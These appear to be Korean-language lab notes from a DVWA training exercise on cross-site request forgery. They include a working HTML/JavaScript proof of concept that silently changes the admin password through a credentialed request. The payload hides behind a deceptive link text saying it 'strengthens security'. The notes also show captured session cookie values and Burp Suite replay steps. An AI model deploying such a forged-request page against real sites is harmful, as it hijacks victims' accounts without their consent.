관리자> 웹사이트에 접속돼있는 상태(로그인)에서!!!
칼리> 관리자의 암호를 바꿔보자(사전없음)
세션, 쿠키이용
메니져pc가 서버와 연결되어있을 때의 세션값 얻기
dvwa.st.kr
admin/password
f12
network 누르고 > f5
cookie: PHPSESSID=; (세션값 확인)
=> 메일 보내면 몰라도 된다??
*csrf
CSRF 동작 원리
피해자가 인증된 상태(예: 로그인 상태)에서 공격자가 만든 악성 링크 또는 스크립트를 실행합니다.
악성 요청은 사용자의 브라우저를 통해 인증된 쿠키와 함께 대상 서버로 전송됩니다.
서버는 요청이 정당한 사용자의 요청인 것으로 간주하고 작업을 수행합니다.
*크로스....스크립트?
kali
빈 노트
http://dvwa.st.kr/vulnerabilities/csrf/
password_new="1"&password_conf=1&Change=Change
csrf.txt
< html>
< head>
< /head>
< script language="">
function poc(){
var host='dvwa.st.kr';
var request = "http://"+host +"/vulnerabilities/csrf/?password_new=?&password_conf=?&Change=Change";
alert(request);
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",request,true);
xmlhttp.withCredentials="true";
xmlhttp.send();
alert("csrf 작동 완료");
}
< /script>
< body>
이 링크를 누르면 보안이 강화됨
< a href="javascript:poc()">눌러< /a>< br>
< /body>
< /html>
세션값.txt
PHPSESSID=vdts3o14e2l7ckl39hn9ch8033; security=low
PHPSESSID=ngkh6favk37ej8du5gm39mfafc; security=low
burp suite
intercept open > /home/kali/desktop/csrf.html
두번째 ? 부터 ?대신 비밀번호로 바꾸기
cookie 추가
세션값에 phpsessid, security 추가
forward
dvwa.st.kr 암호 변경됐는지 확인
=> 변경된 경우
worbench의 admin 비밀번호값 hash가 python 출력값과 같은지 확인
python
import hashlib
md5=hashlib.md5()
md5.update("654321".encode())
print(md5.hexdigest())
=> 해쉬값 일치 확인